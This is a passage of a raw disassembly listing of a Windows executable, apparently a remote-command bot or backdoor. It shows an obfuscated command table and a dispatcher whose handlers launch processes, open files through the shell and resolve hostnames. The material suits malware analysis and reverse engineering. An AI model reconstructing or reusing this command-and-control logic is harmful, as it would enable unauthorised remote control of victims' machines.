[esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_402207 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403EE0 proc near ; CODE XREF: sub_40206Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403EE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AD2 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403EE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FC0 proc near ; CODE XREF: sub_401D34j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403FC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017E4 lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_403FC0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017E4 push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017E4 lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017E4 lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017E4 push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 10h push 13h push 0Ch push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017E4 lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017E4 lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017E4 push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017E4 lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019B5 add esp, 1Ch mov dword ptr [esp+5Ch], 9 push esi mov ecx, eax call sub_4017E4 lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017E4 push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017E4 lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017E4 lea ecx, [esi+0CB3h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017E4 push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- db 8Dh dd 8924244Ch, 0E85C247Ch, 0FFFFCE26h, 0E8094E8Dh, 0FFFFD3DCh dd 0C244C8Dh, 0FE85150h, 83FFFFDCh, 6A08C4h, 1D6A256Ah dd 548D236Ah, 286A3424h, 2444C752h, 0E74h, 0D583E800h dd 0C483FFFFh, 8DE88B18h, 0C60C244Ch, 0F5C2444h, 0FFD39FE8h dd 0CD8B50FFh, 0FFD397E8h, 0F46850FFh, 68004435h, 4D60A5h dd 0FFD9AEE8h, 10C483FFh, 24244C8Dh, 5C2444C6h, 0CDB8E80Eh dd 206AFFFFh, 4024448Dh, 8D50006Ah, 0E818244Ch, 0FFFFCE32h dd 44C6C88Bh, 0E8105C24h, 0FFFFD358h, 35F06850h, 75680044h dd 0E8004E6Eh, 0FFFFCB91h, 8D0CC483h, 0C63C244Ch, 0E5C2444h dd 0FFCD79E8h, 0C291E8FFh, 8B900255h, 4DD3B8C8h, 7C891062h dd 0E1F75C24h, 8D06EAC1h, 890C244Ch, 57E80556h, 8BFFFFCDh dd 5F54244Ch, 89645D5Eh, 0Dh, 54C48300h, 909090C3h, 3 dup(90909090h) dd 54h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_404640 proc near ; CODE XREF: sub_401A32j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404640 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_40146F mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_404682 push ebx jmp short loc_404686 ; --------------------------------------------------------------------------- loc_404682: ; CODE XREF: sub_404640+3Dj lea eax, [esi+15h] push eax loc_404686: ; CODE XREF: sub_404640+40j mov ecx, edi call sub_401FBE mov al, [esi+94h] test al, al jz short loc_4046A2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FBE loc_4046A2: ; CODE XREF: sub_404640+55j mov al, [esi+95h] test al, al jz short loc_40471F lea ecx, [esp+98h+var_6C] call sub_401424 push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013E3 add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E2E push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FBE lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40471F: ; CODE XREF: sub_404640+6Aj push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E2E lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_40146F push 0 mov ecx, esi mov ebp, eax call sub_40146F mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_4049EA push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019B5 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40480F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 test eax, eax jz short loc_40480F mov bl, 1 jmp short loc_404811 ; --------------------------------------------------------------------------- loc_40480F: ; CODE XREF: sub_404640+1A6j ; sub_404640+1C9j xor bl, bl loc_404811: ; CODE XREF: sub_404640+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_4049CE push offset asc_443600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_4049EA push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_4049EA push 20h mov ecx, esi call sub_401D20 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E2E mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D20 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E2E push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40200E lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FBE push offset asc_443600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016AE lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E2E push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FBE lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049A7 test ebp, ebp jle short loc_4049B8 loc_404998: ; CODE XREF: sub_404640+363j mov ecx, [esp+98h+var_88] push esi call sub_401F69 dec ebp jnz short loc_404998 jmp short loc_4049B8 ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_404640+352j test ebp, ebp jle short loc_4049B8 loc_4049AB: ; CODE XREF: sub_404640+376j mov ecx, [esp+98h+var_88] push esi call sub_401442 dec ebp jnz short loc_4049AB loc_4049B8: ; CODE XREF: sub_404640+356j ; sub_404640+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049CE: ; CODE XREF: sub_404640+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_4049E5 call sub_401F69 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049E5: ; CODE XREF: sub_404640+39Cj call sub_401442 loc_4049EA: ; CODE XREF: sub_404640+162j ; sub_404640+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B10 proc near ; CODE XREF: sub_401F69j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_448C92 call sub_4014D3 mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404B56 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 test eax, eax jnz short loc_404B56 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B56: ; CODE XREF: sub_404B10+1Dj ; sub_404B10+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 test eax, eax jnz short loc_404B96 mov al, [edi+469h] test al, al jz short loc_404B96 push 0 lea ecx, [esi+2Ah] call sub_40146F cmp byte ptr [eax], 23h jz short loc_404B96 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B96: ; CODE XREF: sub_404B10+64j ; sub_404B10+6Ej ... push esi mov ecx, edi call sub_401442 pop edi pop esi retn 4 sub_404B10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404BE0 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017E4 push eax mov ecx, offset dword_447148 call sub_401AF0 test eax, eax jz short loc_404C0A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BE0+1Cj xor al, al pop esi retn 4 sub_404BE0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C20 proc near ; CODE XREF: sub_40185Cj push esi push edi mov edi, dword_50F8A4 mov esi, ecx call edi mov edx, dword_4D60C9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C4F mov ecx, offset byte_4D60A5 call sub_401D0C call edi mov dword_4D60C9, eax loc_404C4F: ; CODE XREF: sub_404C20+1Cj pop edi mov al, 1 pop esi retn sub_404C20 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_4017C6j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404C70 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404CE4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [edi+2E3h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404CE4: ; CODE XREF: sub_404C70+40j lea ecx, [edi+0D6Bh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404E75 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_443600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C5D push eax lea ecx, [esp+180h+var_14C] call sub_4017E4 push eax nop call near ptr 2980000h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FBE mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014D3 push eax push 0 call near ptr 2970000h nop test eax, eax jnz short loc_404E49 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404E49: ; CODE XREF: sub_404C70+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404E75: ; CODE XREF: sub_404C70+89j lea ecx, [edi+0B71h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F24 push 1 push offset asc_443600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E6E75 mov [esp+178h+var_4], 3 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F10 mov al, byte_4478C6 test al, al jz short loc_404EE0 push offset dword_447864 mov ecx, offset dword_448DA0 call sub_401447 loc_404EE0: ; CODE XREF: sub_404C70+25Fj mov al, byte_44790F test al, al jz short loc_404EF8 push offset byte_44793F mov ecx, offset dword_448DA0 call sub_401942 loc_404EF8: ; CODE XREF: sub_404C70+277j mov ecx, offset dword_448DA0 call sub_401E5B mov byte_4D60BC, 0 mov byte_4E6E74, 0 loc_404F10: ; CODE XREF: sub_404C70+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404F24: ; CODE XREF: sub_404C70+21Aj lea ecx, [edi+0C57h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404F6C lea ecx, [esi+69h] call sub_4014D3 push eax mov ecx, offset word_4E6E8A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404F6C: ; CODE XREF: sub_404C70+2C9j lea ecx, [edi+0DC7h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405029 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019B5 add esp, 2Ch mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1A8h+var_164] push 9 push ecx mov [esp+1B0h+var_4], 4 call sub_4019B5 add esp, 38h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405029: ; CODE XREF: sub_404C70+311j lea ecx, [edi+0D0Fh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405147 lea ecx, [esp+178h+var_14C] call sub_401424 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_14C] call sub_401A87 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017E4 push eax push offset aOpen ; "open" push 0 call near ptr 7CA41110h nop movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_4020F4 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40200E lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_405147: ; CODE XREF: sub_404C70+3CEj lea ecx, [edi+0D99h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_40516A mov byte_4D60BC, al mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_40516A: ; CODE XREF: sub_404C70+4ECj lea ecx, [edi+0D3Dh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405431 lea ecx, [esp+178h+var_11C] call sub_401424 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_4051F4 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_4051F4: ; CODE XREF: sub_404C70+56Ej push offset asc_443600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017E4 push eax call near ptr 71AB2BF4h nop lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_4052C7 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax nop call near ptr 71ABE479h mov edi, eax test edi, edi jz loc_4053A8 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017E4 push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40540E ; --------------------------------------------------------------------------- loc_4052C7: ; CODE XREF: sub_404C70+5CAj push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017E4 push eax nop call near ptr 71AB4FD4h lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053A8 mov ecx, [edi+0Ch] push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016AE mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh nop call near ptr 71AB3F41h push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_4053A8: ; CODE XREF: sub_404C70+5E3j ; sub_404C70+694j push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017E4 push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40540E: ; CODE XREF: sub_404C70+652j mov ecx, offset 